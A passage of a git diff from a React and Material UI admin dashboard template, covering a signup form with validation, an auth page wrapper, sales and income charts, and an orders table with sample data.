useState(false); + const handleClickShowPassword = () => { + setShowPassword(!showPassword); + }; + + const handleMouseDownPassword = (event) => { + event.preventDefault(); + }; + + const changePassword = (value) => { + const temp = strengthIndicator(value); + setLevel(strengthColor(temp)); + }; + + useEffect(() => { + changePassword(''); + }, []); + + return ( + <> + <Formik + initialValues={{ + firstname: '', + lastname: '', + email: '', + company: '', + password: '', + submit: null + }} + validationSchema={Yup.object().shape({ + firstname: Yup.string().max(255).required('First Name is required'), + lastname: Yup.string().max(255).required('Last Name is required'), + email: Yup.string().email('Must be a valid email').max(255).required('Email is required'), + password: Yup.string() + .required('Password is required') + .test('no-leading-trailing-whitespace', 'Password cannot start or end with spaces', (value) => value === value.trim()) + .max(10, 'Password must be less than 10 characters') + })} + > + {({ errors, handleBlur, handleChange, touched, values }) => ( + <form noValidate> + <Grid container spacing={3}> + <Grid size={{ xs: 12, md: 6 }}> + <Stack sx={{ gap: 1 }}> + <InputLabel htmlFor="firstname-signup">First Name*</InputLabel> + <OutlinedInput + id="firstname-login" + type="firstname" + value={values.firstname} + name="firstname" + onBlur={handleBlur} + onChange={handleChange} + placeholder="John" + fullWidth + error={Boolean(touched.firstname && errors.firstname)} + /> + </Stack> + {touched.firstname && errors.firstname && ( + <FormHelperText error id="helper-text-firstname-signup"> + {errors.firstname} + </FormHelperText> + )} + </Grid> + <Grid size={{ xs: 12, md: 6 }}> + <Stack sx={{ gap: 1 }}> + <InputLabel htmlFor="lastname-signup">Last Name*</InputLabel> + <OutlinedInput + fullWidth + error={Boolean(touched.lastname && errors.lastname)} + id="lastname-signup" + type="lastname" + value={values.lastname} + name="lastname" + onBlur={handleBlur} + onChange={handleChange} + placeholder="Doe" + /> + </Stack> + {touched.lastname && errors.lastname && ( + <FormHelperText error id="helper-text-lastname-signup"> + {errors.lastname} + </FormHelperText> + )} + </Grid> + <Grid size={12}> + <Stack sx={{ gap: 1 }}> + <InputLabel htmlFor="company-signup">Company</InputLabel> + <OutlinedInput + fullWidth + error={Boolean(touched.company && errors.company)} + id="company-signup" + value={values.company} + name="company" + onBlur={handleBlur} + onChange={handleChange} + placeholder="Demo Inc." + /> + </Stack> + {touched.company && errors.company && ( + <FormHelperText error id="helper-text-company-signup"> + {errors.company} + </FormHelperText> + )} + </Grid> + <Grid size={12}> + <Stack sx={{ gap: 1 }}> + <InputLabel htmlFor="email-signup">Email Address*</InputLabel> + <OutlinedInput + fullWidth + error={Boolean(touched.email && errors.email)} + id="email-login" + type="email" + value={values.email} + name="email" + onBlur={handleBlur} + onChange={handleChange} + placeholder="demo@company.com" + /> + </Stack> + {touched.email && errors.email && ( + <FormHelperText error id="helper-text-email-signup"> + {errors.email} + </FormHelperText> + )} + </Grid> + <Grid size={12}> + <Stack sx={{ gap: 1 }}> + <InputLabel htmlFor="password-signup">Password</InputLabel> + <OutlinedInput + fullWidth + error={Boolean(touched.password && errors.password)} + id="password-signup" + type={showPassword ? 'text' : 'password'} + value={values.password} + name="password" + onBlur={handleBlur} + onChange={(e) => { + handleChange(e); + changePassword(e.target.value); + }} + endAdornment={ + <InputAdornment position="end"> + <IconButton + aria-label="toggle password visibility" + onClick={handleClickShowPassword} + onMouseDown={handleMouseDownPassword} + edge="end" + color="secondary" + > + {showPassword ? <EyeOutlined /> : <EyeInvisibleOutlined />} + </IconButton> + </InputAdornment> + } + placeholder="******" + /> + </Stack> + {touched.password && errors.password && ( + <FormHelperText error id="helper-text-password-signup"> + {errors.password} + </FormHelperText> + )} + <FormControl fullWidth sx={{ mt: 2 }}> + <Grid container spacing={2} sx={{ alignItems: 'center' }}> + <Grid> + <Box sx={{ bgcolor: level?.color, width: 85, height: 8, borderRadius: '7px' }} /> + </Grid> + <Grid> + <Typography variant="subtitle1" sx={{ fontSize: '0.75rem' }}> + {level?.label} + </Typography> + </Grid> + </Grid> + </FormControl> + </Grid> + <Grid size={12}> + <Typography variant="body2"> + By Signing up, you agree to our   + <Link variant="subtitle2" component={RouterLink} to="#"> + Terms of Service + </Link> +   and   + <Link variant="subtitle2" component={RouterLink} to="#"> + Privacy Policy + </Link> + </Typography> + </Grid> + {errors.submit && ( + <Grid size={12}> + <FormHelperText error>{errors.submit}</FormHelperText> + </Grid> + )} + <Grid size={12}> + <AnimateButton> + <Button fullWidth size="large" variant="contained" color="primary"> + Create Account + </Button> + </AnimateButton> + </Grid> + </Grid> + </form> + )} + </Formik> + </> + ); +} diff --git a/src/sections/auth/AuthWrapper.jsx b/src/sections/auth/AuthWrapper.jsx index 07b1c99a1..7b4d15c87 100644 --- a/src/sections/auth/AuthWrapper.jsx +++ b/src/sections/auth/AuthWrapper.jsx @@ -1,44 +1,46 @@ -import PropTypes from 'prop-types'; - -// material-ui -import Grid from '@mui/material/Grid'; -import Stack from '@mui/material/Stack'; -import Box from '@mui/material/Box'; - -// project imports -import AuthFooter from 'components/cards/AuthFooter'; -import Logo from 'components/logo'; -import AuthCard from './AuthCard'; - -// assets -import AuthBackground from './AuthBackground'; - -// ==============================|| AUTHENTICATION - WRAPPER ||============================== // - -export default function AuthWrapper({ children }) { - return ( - <Box sx={{ minHeight: '100vh' }}> - <AuthBackground /> - <Stack sx={{ minHeight: '100vh', justifyContent: 'flex-end' }}> - <Box sx={{ px: 3, mt: 3 }} size={12}> - <Logo to="/" /> - </Box> - <Box size={12}> - <Grid - container - justifyContent="center" - alignItems="center" - sx={{ minHeight: { xs: 'calc(100vh - 210px)', sm: 'calc(100vh - 134px)', md: 'calc(100vh - 132px)' } }} - > - <Grid> - <AuthCard>{children}</AuthCard> - </Grid> - </Grid> - </Box> - <AuthFooter /> - </Stack> - </Box> - ); -} - -AuthWrapper.propTypes = { children: PropTypes.node }; +import PropTypes from 'prop-types'; + +// material-ui +import Grid from '@mui/material/Grid'; +import Stack from '@mui/material/Stack'; +import Box from '@mui/material/Box'; + +// project imports +import AuthFooter from 'components/cards/AuthFooter'; +import Logo from 'components/logo'; +import AuthCard from './AuthCard'; + +// assets +import AuthBackground from './AuthBackground'; + +// ==============================|| AUTHENTICATION - WRAPPER ||============================== // + +export default function AuthWrapper({ children }) { + return ( + <Box sx={{ minHeight: '100vh' }}> + <AuthBackground /> + <Stack sx={{ minHeight: '100vh', justifyContent: 'flex-end' }}> + <Box sx={{ px: 3, mt: 3 }} size={12}> + <Logo to="/" /> + </Box> + <Box size={12}> + <Grid + container + sx={{ + justifyContent: 'center', + alignItems: 'center', + minHeight: { xs: 'calc(100vh - 210px)', sm: 'calc(100vh - 134px)', md: 'calc(100vh - 132px)' } + }} + > + <Grid> + <AuthCard>{children}</AuthCard> + </Grid> + </Grid> + </Box> + <AuthFooter /> + </Stack> + </Box> + ); +} + +AuthWrapper.propTypes = { children: PropTypes.node }; diff --git a/src/sections/dashboard/SalesChart.jsx b/src/sections/dashboard/SalesChart.jsx index d5e39deb5..db8f75d97 100644 --- a/src/sections/dashboard/SalesChart.jsx +++ b/src/sections/dashboard/SalesChart.jsx @@ -1,139 +1,139 @@ -import { useState } from 'react'; - -// material-ui -import { useTheme } from '@mui/material/styles'; -import useMediaQuery from '@mui/material/useMediaQuery'; -import Stack from '@mui/material/Stack'; -import Typography from '@mui/material/Typography'; -import Box from '@mui/material/Box'; - -import { BarChart } from '@mui/x-charts'; - -// project imports -import MainCard from 'components/MainCard'; -import { withAlpha } from 'utils/colorUtils'; - -// ==============================|| SALES COLUMN CHART ||============================== // - -export default function SalesChart() { - const theme = useTheme(); - const downSM = useMediaQuery(theme.breakpoints.down('sm')); - - const [seriesVisibility, setSeriesVisibility] = useState({ - Income: true, - 'Cost of Sales': true - }); - - const [highlightedItem, setHighlightedItem] = useState(null); - - const toggleSeriesVisibility = (seriesLabel) => { - setSeriesVisibility((prev) => ({ ...prev, [seriesLabel]: !prev[seriesLabel] })); - }; - - const handleHighlight = (seriesId) => { - if (seriesId) { - setHighlightedItem({ seriesId }); - } else { - setHighlightedItem(null); - } - }; - - const valueFormatter = (value) => `$ ${value} Thousands`; - const primaryColor = theme.vars.palette.primary.main; - const primaryLightColor = theme.vars.palette.primary.lighter; - const warningColor = theme.vars.palette.warning.main; - const warningLightColor = theme.vars.palette.warning.lighter; - - const labels = ['07.06', '08.06', '09.06', '10.06', '11.06', '12.06', '13.06']; - - const initialSeries = [ - { id: 'Income', data: [180, 90, 135, 114, 120, 200, 145], stack: 'income', label: 'Income', color: warningColor, valueFormatter }, - { id: 'Income2', data: [20, 110, 65, 86, 80, 0, 55], stack: 'income', label: 'Income', color: warningLightColor, valueFormatter }, - { - id: 'CostOfSales', - data: [120, 45, 78, 150, 168, 145, 99], - stack: 'cos', - label: 'Cost of Sales', - color: primaryColor, - valueFormatter - }, - { - id: 'CostOfSales2', - data: [80, 155, 122, 50, 32, 55, 101], - stack: 'cos', - label: 'Cost of Sales', - color: primaryLightColor, - valueFormatter - } - ]; - - const initialSeriesCopy = [...initialSeries.slice(0, 1), ...initialSeries.slice(2, 3)]; - - return ( - <MainCard sx={{ mt: 1 }} content={false}> - <Box sx={{ p: 2.5, pb: 0 }}> - <Stack direction="row" sx={{ alignItems: 'center', justifyContent: 'space-between' }}> - <Box> - <Typography sx={{ fontSize: 14 }} color="text.secondary" gutterBottom> - Net Profit - </Typography> - <Typography variant="h4">$1560</Typography> - </Box> - - <Stack direction="row" sx={{ gap: 3 }}> - {initialSeriesCopy.map((series) => ( - <Stack - key={series.label} - direction="row" - onClick={() => toggleSeriesVisibility(series.label)} - onMouseEnter={() => handleHighlight(series.id)} - onMouseLeave={() => handleHighlight(null)} - sx={{ - gap: 1, - alignItems: 'center', - opacity: seriesVisibility[series.label] ? 1 : 0.45, - cursor: 'pointer', - transition: 'opacity 0.2s ease-in-out' - }} - > - <Box sx={{ height: 10, width: 10, borderRadius: '50%', backgroundColor: series.color }} /> - <Typography>{series.label}</Typography> - </Stack> - ))} - </Stack> - </Stack> - - <BarChart - hideLegend - height={380} - grid={{ horizontal: true }} - xAxis={[ - { - id: 'sales-x-axis', - data: labels, - tickSize: 7, - disableLine: true, - categoryGapRatio: downSM ? 0.5 : 0.7, - barGapRatio: downSM ? 0.4 : 0.7 - } - ]} - yAxis={[{ disableLine: true, tickSize: 7, tickMaxStep: 50 }]} - series={initialSeries - .map((series) => ({ ...series, type: 'bar', color: withAlpha(series.color, 0.85), visible: seriesVisibility[series.label] })) - .filter((series) => series.visible)} - highlightedItem={highlightedItem} - slotProps={{ bar: { rx: 4, ry: 4 }, tooltip: { trigger: 'item' } }} - axisHighlight={{ x: 'none' }} - margin={{ top: 30, left: -5, bottom: 25, right: 10 }} - sx={{ - '& .MuiBarElement-root:hover': { opacity: 0.6 }, - '& .MuiChartsGrid-line': { strokeDasharray: '4 4', stroke: theme.vars.palette.divider }, - '& .MuiBarElement-series-auto-generated-id-0, & .MuiBarElement-series-auto-generated-id-1': { width: 15 }, - '& .MuiChartsAxis-root.MuiChartsAxis-directionX .MuiChartsAxis-tick': { stroke: 'transparent' }, - '& .MuiChartsAxis-root.MuiChartsAxis-directionY .MuiChartsAxis-tick': { stroke: 'transparent' } - }} - /> - </Box> - </MainCard> - ); -} +import { useState } from 'react'; + +// material-ui +import { useTheme } from '@mui/material/styles'; +import useMediaQuery from '@mui/material/useMediaQuery'; +import Stack from '@mui/material/Stack'; +import Typography from '@mui/material/Typography'; +import Box from '@mui/material/Box'; + +import { BarChart } from '@mui/x-charts'; + +// project imports +import MainCard from 'components/MainCard'; +import { withAlpha } from 'utils/colorUtils'; + +// ==============================|| SALES COLUMN CHART ||============================== // + +export default function SalesChart() { + const theme = useTheme(); + const downSM = useMediaQuery(theme.breakpoints.down('sm')); + + const [seriesVisibility, setSeriesVisibility] = useState({ + Income: true, + 'Cost of Sales': true + }); + + const [highlightedItem, setHighlightedItem] = useState(null); + + const toggleSeriesVisibility = (seriesLabel) => { + setSeriesVisibility((prev) => ({ ...prev, [seriesLabel]: !prev[seriesLabel] })); + }; + + const handleHighlight = (seriesId) => { + if (seriesId) { + setHighlightedItem({ seriesId }); + } else { + setHighlightedItem(null); + } + }; + + const valueFormatter = (value) => `$ ${value} Thousands`; + const primaryColor = theme.vars.palette.primary.main; + const primaryLightColor = theme.vars.palette.primary.lighter; + const warningColor = theme.vars.palette.warning.main; + const warningLightColor = theme.vars.palette.warning.lighter; + + const labels = ['07.06', '08.06', '09.06', '10.06', '11.06', '12.06', '13.06']; + + const initialSeries = [ + { id: 'Income', data: [180, 90, 135, 114, 120, 200, 145], stack: 'income', label: 'Income', color: warningColor, valueFormatter }, + { id: 'Income2', data: [20, 110, 65, 86, 80, 0, 55], stack: 'income', label: 'Income', color: warningLightColor, valueFormatter }, + { + id: 'CostOfSales', + data: [120, 45, 78, 150, 168, 145, 99], + stack: 'cos', + label: 'Cost of Sales', + color: primaryColor, + valueFormatter + }, + { + id: 'CostOfSales2', + data: [80, 155, 122, 50, 32, 55, 101], + stack: 'cos', + label: 'Cost of Sales', + color: primaryLightColor, + valueFormatter + } + ]; + + const initialSeriesCopy = [...initialSeries.slice(0, 1), ...initialSeries.slice(2, 3)]; + + return ( + <MainCard sx={{ mt: 1 }} content={false}> + <Box sx={{ p: 2.5, pb: 0 }}> + <Stack direction="row" sx={{ alignItems: 'center', justifyContent: 'space-between' }}> + <Box> + <Typography sx={{ fontSize: 14 }} color="text.secondary" gutterBottom> + Net Profit + </Typography> + <Typography variant="h4">$1560</Typography> + </Box> + + <Stack direction="row" sx={{ gap: 3 }}> + {initialSeriesCopy.map((series) => ( + <Stack + key={series.label} + direction="row" + onClick={() => toggleSeriesVisibility(series.label)} + onMouseEnter={() => handleHighlight(series.id)} + onMouseLeave={() => handleHighlight(null)} + sx={{ + gap: 1, + alignItems: 'center', + opacity: seriesVisibility[series.label] ? 1 : 0.45, + cursor: 'pointer', + transition: 'opacity 0.2s ease-in-out' + }} + > + <Box sx={{ height: 10, width: 10, borderRadius: '50%', backgroundColor: series.color }} /> + <Typography>{series.label}</Typography> + </Stack> + ))} + </Stack> + </Stack> + + <BarChart + hideLegend + height={380} + grid={{ horizontal: true }} + xAxis={[ + { + id: 'sales-x-axis', + data: labels, + tickSize: 7, + disableLine: true, + categoryGapRatio: downSM ? 0.5 : 0.7, + barGapRatio: downSM ? 0.4 : 0.7 + } + ]} + yAxis={[{ disableLine: true, tickSize: 7, tickMaxStep: 50 }]} + series={initialSeries + .map((series) => ({ ...series, type: 'bar', color: withAlpha(series.color, 0.85), visible: seriesVisibility[series.label] })) + .filter((series) => series.visible)} + highlightedItem={highlightedItem} + slotProps={{ bar: { rx: 4, ry: 4 }, tooltip: { trigger: 'item' } }} + axisHighlight={{ x: 'none' }} + margin={{ top: 30, left: -5, bottom: 25, right: 10 }} + sx={{ + '& .MuiBarElement-root:hover': { opacity: 0.6 }, + '& .MuiChartsGrid-line': { strokeDasharray: '4 4', stroke: theme.vars.palette.divider }, + '& .MuiBarElement-series-auto-generated-id-0, & .MuiBarElement-series-auto-generated-id-1': { width: 15 }, + '& .MuiChartsAxis-root.MuiChartsAxis-directionX .MuiChartsAxis-tick': { stroke: 'transparent' }, + '& .MuiChartsAxis-root.MuiChartsAxis-directionY .MuiChartsAxis-tick': { stroke: 'transparent' } + }} + /> + </Box> + </MainCard> + ); +} diff --git a/src/sections/dashboard/default/IncomeAreaChart.jsx b/src/sections/dashboard/default/IncomeAreaChart.jsx index 7ec31aecf..bb9c7b88c 100644 --- a/src/sections/dashboard/default/IncomeAreaChart.jsx +++ b/src/sections/dashboard/default/IncomeAreaChart.jsx @@ -1,134 +1,134 @@ -import PropTypes from 'prop-types'; -import { useState } from 'react'; - -// material-ui -import { useTheme } from '@mui/material/styles'; -import Stack from '@mui/material/Stack'; -import Typography from '@mui/material/Typography'; -import Box from '@mui/material/Box'; - -import { LineChart } from '@mui/x-charts/LineChart'; - -// project imports -import { withAlpha } from 'utils/colorUtils'; - -// Sample data -const monthlyLabels = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; -const weeklyLabels = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']; - -const monthlyData1 = [76, 85, 101, 98, 87, 105, 91, 114, 94, 86, 115, 35]; -const weeklyData1 = [31, 40, 28, 51, 42, 109, 100]; - -const monthlyData2 = [110, 60, 150, 35, 60, 36, 26, 45, 65, 52, 53, 41]; -const weeklyData2 = [11, 32, 45, 32, 34, 52, 41]; - -function Legend({ items, onToggle }) { - return ( - <Stack direction="row" sx={{ gap: 2, alignItems: 'center', justifyContent: 'center', mt: 2.5, mb: 1.5 }}> - {items.map((item) => ( - <Stack - key={item.label} - direction="row" - sx={{ gap: 1.25, alignItems: 'center', cursor: 'pointer' }} - onClick={() => onToggle(item.label)} - > - <Box sx={{ width: 12, height: 12, bgcolor: item.visible ? item.color : 'text.secondary', borderRadius: '50%' }} /> - <Typography variant="body2" color="text.primary"> - {item.label} - </Typography> - </Stack> - ))} - </Stack> - ); -} - -// ==============================|| INCOME AREA CHART ||============================== // - -export default function IncomeAreaChart({ view }) { - const theme = useTheme(); - - const [visibility, setVisibility] = useState({ - 'Page views': true, - Sessions: true - }); - - const labels = view === 'monthly' ? monthlyLabels : weeklyLabels; - const data1 = view === 'monthly' ? monthlyData1 : weeklyData1; - const data2 = view === 'monthly' ? monthlyData2 : weeklyData2; - - const line = theme.vars.palette.divider; - - const toggleVisibility = (label) => { - setVisibility((prev) => ({ ...prev, [label]: !prev[label] })); - }; - - const visibleSeries = [ - { - data: data1, - label: 'Page views', - showMark: false, - area: true, - id: 'page-views', - color: theme.vars.palette.primary.main || '', - visible: visibility['Page views'] - }, - { - data: data2, - label: 'Sessions', - showMark: false, - area: true, - id: 'sessions', - color: theme.vars.palette.primary[700] || '', - visible: visibility['Sessions'] - } - ]; - - return ( - <> - <LineChart - hideLegend - grid={{ horizontal: true, vertical: false }} - xAxis={[{ scaleType: 'point', data: labels, tickSize: 7, disableLine: true }]} - yAxis={[{ tickSize: 7, disableLine: true }]} - height={450} - margin={{ top: 40, bottom: -5, right: 20, left: 5 }} - series={visibleSeries - .filter((series) => series.visible) - .map((series) => ({ - type: 'line', - data: series.data, - label: series.label, - showMark: series.showMark, - area: series.area, - id: series.id, - color: series.color, - stroke: series.color, - strokeWidth: 2 - }))} - sx={{ - '& .MuiChartsGrid-line': { strokeDasharray: '4 4', stroke: line }, - '& .MuiAreaElement-series-page-views': { fill: "url('#myGradient1')", strokeWidth: 2, opacity: 0.8 }, - '& .MuiAreaElement-series-sessions': { fill: "url('#myGradient2')", strokeWidth: 2, opacity: 0.8 }, - '& .MuiChartsAxis-root.MuiChartsAxis-directionX .MuiChartsAxis-tick': { stroke: 'transparent' }, - '& .MuiChartsAxis-root.MuiChartsAxis-directionY .MuiChartsAxis-tick': { stroke: 'transparent' } - }} - > - <defs> - <linearGradient id="myGradient1" gradientTransform="rotate(90)"> - <stop offset="10%" stopColor={withAlpha(theme.vars.palette.primary.main, 0.4)} /> - <stop offset="90%" stopColor={withAlpha(theme.vars.palette.background.default, 0.4)} /> - </linearGradient> - <linearGradient id="myGradient2" gradientTransform="rotate(90)"> - <stop offset="10%" stopColor={withAlpha(theme.vars.palette.primary[700], 0.4)} /> - <stop offset="90%" stopColor={withAlpha(theme.vars.palette.background.default, 0.4)} /> - </linearGradient> - </defs> - </LineChart> - <Legend items={visibleSeries} onToggle={toggleVisibility} /> - </> - ); -} - -Legend.propTypes = { items: PropTypes.array, onToggle: PropTypes.func }; - -IncomeAreaChart.propTypes = { view: PropTypes.oneOf(['monthly', 'weekly']) }; +import PropTypes from 'prop-types'; +import { useState } from 'react'; + +// material-ui +import { useTheme } from '@mui/material/styles'; +import Stack from '@mui/material/Stack'; +import Typography from '@mui/material/Typography'; +import Box from '@mui/material/Box'; + +import { LineChart } from '@mui/x-charts/LineChart'; + +// project imports +import { withAlpha } from 'utils/colorUtils'; + +// Sample data +const monthlyLabels = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; +const weeklyLabels = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']; + +const monthlyData1 = [76, 85, 101, 98, 87, 105, 91, 114, 94, 86, 115, 35]; +const weeklyData1 = [31, 40, 28, 51, 42, 109, 100]; + +const monthlyData2 = [110, 60, 150, 35, 60, 36, 26, 45, 65, 52, 53, 41]; +const weeklyData2 = [11, 32, 45, 32, 34, 52, 41]; + +function Legend({ items, onToggle }) { + return ( + <Stack direction="row" sx={{ gap: 2, alignItems: 'center', justifyContent: 'center', mt: 2.5, mb: 1.5 }}> + {items.map((item) => ( + <Stack + key={item.label} + direction="row" + sx={{ gap: 1.25, alignItems: 'center', cursor: 'pointer' }} + onClick={() => onToggle(item.label)} + > + <Box sx={{ width: 12, height: 12, bgcolor: item.visible ? item.color : 'text.secondary', borderRadius: '50%' }} /> + <Typography variant="body2" color="text.primary"> + {item.label} + </Typography> + </Stack> + ))} + </Stack> + ); +} + +// ==============================|| INCOME AREA CHART ||============================== // + +export default function IncomeAreaChart({ view }) { + const theme = useTheme(); + + const [visibility, setVisibility] = useState({ + 'Page views': true, + Sessions: true + }); + + const labels = view === 'monthly' ? monthlyLabels : weeklyLabels; + const data1 = view === 'monthly' ? monthlyData1 : weeklyData1; + const data2 = view === 'monthly' ? monthlyData2 : weeklyData2; + + const line = theme.vars.palette.divider; + + const toggleVisibility = (label) => { + setVisibility((prev) => ({ ...prev, [label]: !prev[label] })); + }; + + const visibleSeries = [ + { + data: data1, + label: 'Page views', + showMark: false, + area: true, + id: 'page-views', + color: theme.vars.palette.primary.main || '', + visible: visibility['Page views'] + }, + { + data: data2, + label: 'Sessions', + showMark: false, + area: true, + id: 'sessions', + color: theme.vars.palette.primary[700] || '', + visible: visibility['Sessions'] + } + ]; + + return ( + <> + <LineChart + hideLegend + grid={{ horizontal: true, vertical: false }} + xAxis={[{ scaleType: 'point', data: labels, tickSize: 7, disableLine: true }]} + yAxis={[{ tickSize: 7, disableLine: true }]} + height={450} + margin={{ top: 40, bottom: -5, right: 20, left: 5 }} + series={visibleSeries + .filter((series) => series.visible) + .map((series) => ({ + type: 'line', + data: series.data, + label: series.label, + showMark: series.showMark, + area: series.area, + id: series.id, + color: series.color, + stroke: series.color, + strokeWidth: 2 + }))} + sx={{ + '& .MuiChartsGrid-line': { strokeDasharray: '4 4', stroke: line }, + '& .MuiAreaElement-series-page-views': { fill: "url('#myGradient1')", strokeWidth: 2, opacity: 0.8 }, + '& .MuiAreaElement-series-sessions': { fill: "url('#myGradient2')", strokeWidth: 2, opacity: 0.8 }, + '& .MuiChartsAxis-root.MuiChartsAxis-directionX .MuiChartsAxis-tick': { stroke: 'transparent' }, + '& .MuiChartsAxis-root.MuiChartsAxis-directionY .MuiChartsAxis-tick': { stroke: 'transparent' } + }} + > + <defs> + <linearGradient id="myGradient1" gradientTransform="rotate(90)"> + <stop offset="10%" stopColor={withAlpha(theme.vars.palette.primary.main, 0.4)} /> + <stop offset="90%" stopColor={withAlpha(theme.vars.palette.background.default, 0.4)} /> + </linearGradient> + <linearGradient id="myGradient2" gradientTransform="rotate(90)"> + <stop offset="10%" stopColor={withAlpha(theme.vars.palette.primary[700], 0.4)} /> + <stop offset="90%" stopColor={withAlpha(theme.vars.palette.background.default, 0.4)} /> + </linearGradient> + </defs> + </LineChart> + <Legend items={visibleSeries} onToggle={toggleVisibility} /> + </> + ); +} + +Legend.propTypes = { items: PropTypes.array, onToggle: PropTypes.func }; + +IncomeAreaChart.propTypes = { view: PropTypes.oneOf(['monthly', 'weekly']) }; diff --git a/src/sections/dashboard/default/MonthlyBarChart.jsx b/src/sections/dashboard/default/MonthlyBarChart.jsx index f0c7737a3..8b275c5e0 100644 --- a/src/sections/dashboard/default/MonthlyBarChart.jsx +++ b/src/sections/dashboard/default/MonthlyBarChart.jsx @@ -1,31 +1,31 @@ -// material-ui -import { useTheme } from '@mui/material/styles'; - -import { BarChart } from '@mui/x-charts/BarChart'; - -const data = [80, 95, 70, 42, 65, 55, 78]; -const xLabels = ['Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa', 'Su']; - -// ==============================|| MONTHLY BAR CHART ||============================== // - -export default function MonthlyBarChart() { - const theme = useTheme(); - - return ( - <BarChart - hideLegend - height={380} - series={[{ data, label: 'Series-1' }]} - xAxis={[{ data: xLabels, scaleType: 'band', tickSize: 7, disableLine: true, categoryGapRatio: 0.4 }]} - yAxis={[{ position: 'none' }]} - slotProps={{ bar: { rx: 5, ry: 5 } }} - axisHighlight={{ x: 'none' }} - margin={{ left: 20, right: 20 }} - colors={[theme.vars.palette.info.light]} - sx={{ - '& .MuiBarElement-root:hover': { opacity: 0.6 }, - '& .MuiChartsAxis-root.MuiChartsAxis-directionX .MuiChartsAxis-tick': { stroke: 'transparent' } - }} - /> - ); -} +// material-ui +import { useTheme } from '@mui/material/styles'; + +import { BarChart } from '@mui/x-charts/BarChart'; + +const data = [80, 95, 70, 42, 65, 55, 78]; +const xLabels = ['Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa', 'Su']; + +// ==============================|| MONTHLY BAR CHART ||============================== // + +export default function MonthlyBarChart() { + const theme = useTheme(); + + return ( + <BarChart + hideLegend + height={380} + series={[{ data, label: 'Series-1' }]} + xAxis={[{ data: xLabels, scaleType: 'band', tickSize: 7, disableLine: true, categoryGapRatio: 0.4 }]} + yAxis={[{ position: 'none' }]} + slotProps={{ bar: { rx: 5, ry: 5 } }} + axisHighlight={{ x: 'none' }} + margin={{ left: 20, right: 20 }} + colors={[theme.vars.palette.info.light]} + sx={{ + '& .MuiBarElement-root:hover': { opacity: 0.6 }, + '& .MuiChartsAxis-root.MuiChartsAxis-directionX .MuiChartsAxis-tick': { stroke: 'transparent' } + }} + /> + ); +} diff --git a/src/sections/dashboard/default/OrdersTable.jsx b/src/sections/dashboard/default/OrdersTable.jsx index e194e7aad..133974107 100644 --- a/src/sections/dashboard/default/OrdersTable.jsx +++ b/src/sections/dashboard/default/OrdersTable.jsx @@ -1,203 +1,203 @@ -import PropTypes from 'prop-types'; -// material-ui -import Link from '@mui/material/Link'; -import Stack from '@mui/material/Stack'; -import Table from '@mui/material/Table'; -import TableBody from '@mui/material/TableBody'; -import TableCell from '@mui/material/TableCell'; -import TableContainer from '@mui/material/TableContainer'; -import TableHead from '@mui/material/TableHead'; -import TableRow from '@mui/material/TableRow'; -import Typography from '@mui/material/Typography'; -import Box from '@mui/material/Box'; - -// third-party -import { NumericFormat } from 'react-number-format'; - -// project imports -import Dot from 'components/@extended/Dot'; - -function createData(tracking_no, name, fat, carbs, protein) { - return { tracking_no, name, fat, carbs, protein }; -} - -const rows = [ - createData(84564564, 'Camera Lens', 40, 2, 40570), - createData(98764564, 'Laptop', 300, 0, 180139), - createData(98756325, 'Mobile', 355, 1, 90989), - createData(98652366, 'Handset', 50, 1, 10239), - createData(13286564, 'Computer Accessories', 100, 1, 83348), - createData(86739658, 'TV', 99, 0, 410780), - createData(13256498, 'Keyboard', 125, 2, 70999), - createData(98753263, 'Mouse', 89, 2, 10570), - createData(98753275, 'Desktop', 185, 1, 98063), - createData(98753291, 'Chair', 100, 0, 14001) -]; - -function descendingComparator(a, b, orderBy) { - if (b[orderBy] < a[orderBy]) { - return -1; - } - if (b[orderBy] > a[orderBy]) { - return 1; - } - return 0; -} - -function getComparator(order, orderBy) { - return order === 'desc' ? (a, b) => descendingComparator(a, b, orderBy) : (a, b) => -descendingComparator(a, b, orderBy); -} - -function stableSort(array, comparator) { - const stabilizedThis = array.map((el, index) => [el, index]); - stabilizedThis.sort((a, b) => { - const order = comparator(a[0], b[0]); - if (order !== 0) { - return order; - } - return a[1] - b[1]; - }); - return stabilizedThis.map((el) => el[0]); -} - -const headCells = [ - { - id: 'tracking_no', - align: 'left', - disablePadding: false, - label: 'Tracking No.' - }, - { - id: 'name', - align: 'left', - disablePadding: true, - label: 'Product Name' - }, - { - id: 'fat', - align: 'right', - disablePadding: false, - label: 'Total Order' - }, - { - id: 'carbs', - align: 'left', - disablePadding: false, - - label: 'Status' - }, - { - id: 'protein', - align: 'right', - disablePadding: false, - label: 'Total Amount' - } -]; - -// ==============================|| ORDER TABLE - HEADER ||============================== // - -function OrderTableHead({ order, orderBy }) { - return ( - <TableHead> - <TableRow> - {headCells.map((headCell) => ( - <TableCell - key={headCell.id} - align={headCell.align} - padding={headCell.disablePadding ? 'none' : 'normal'} - sortDirection={orderBy === headCell.id ? order : false} - > - {headCell.label} - </TableCell> - ))} - </TableRow> - </TableHead> - ); -} - -function OrderStatus({ status }) { - let color; - let title; - - switch (status) { - case 0: - color = 'warning'; - title = 'Pending'; - break; - case 1: - color = 'success'; - title = 'Approved'; - break; - case 2: - color = 'error'; - title = 'Rejected'; - break; - default: - color = 'primary'; - title = 'None'; - } - - return ( - <Stack direction="row" sx={{ gap: 1, alignItems: 'center' }}> - <Dot color={color} /> - <Typography>{title}</Typography> - </Stack> - ); -} - -// ==============================|| ORDER TABLE ||============================== // - -export default function OrderTable() { - const order = 'asc'; - const orderBy = 'tracking_no'; - - return ( - <Box> - <TableContainer - sx={{ - width: '100%', - overflowX: 'auto', - position: 'relative', - display: 'block', - maxWidth: '100%', - '& td, & th': { whiteSpace: 'nowrap' } - }} - > - <Table aria-labelledby="tableTitle"> - <OrderTableHead order={order} orderBy={orderBy} /> - <TableBody> - {stableSort(rows, getComparator(order, orderBy)).map((row, index) => { - const labelId = `enhanced-table-checkbox-${index}`; - - return ( - <TableRow - hover - role="checkbox" - sx={{ '&:last-child td, &:last-child th': { border: 0 } }} - tabIndex={-1} - key={row.tracking_no} - > - <TableCell 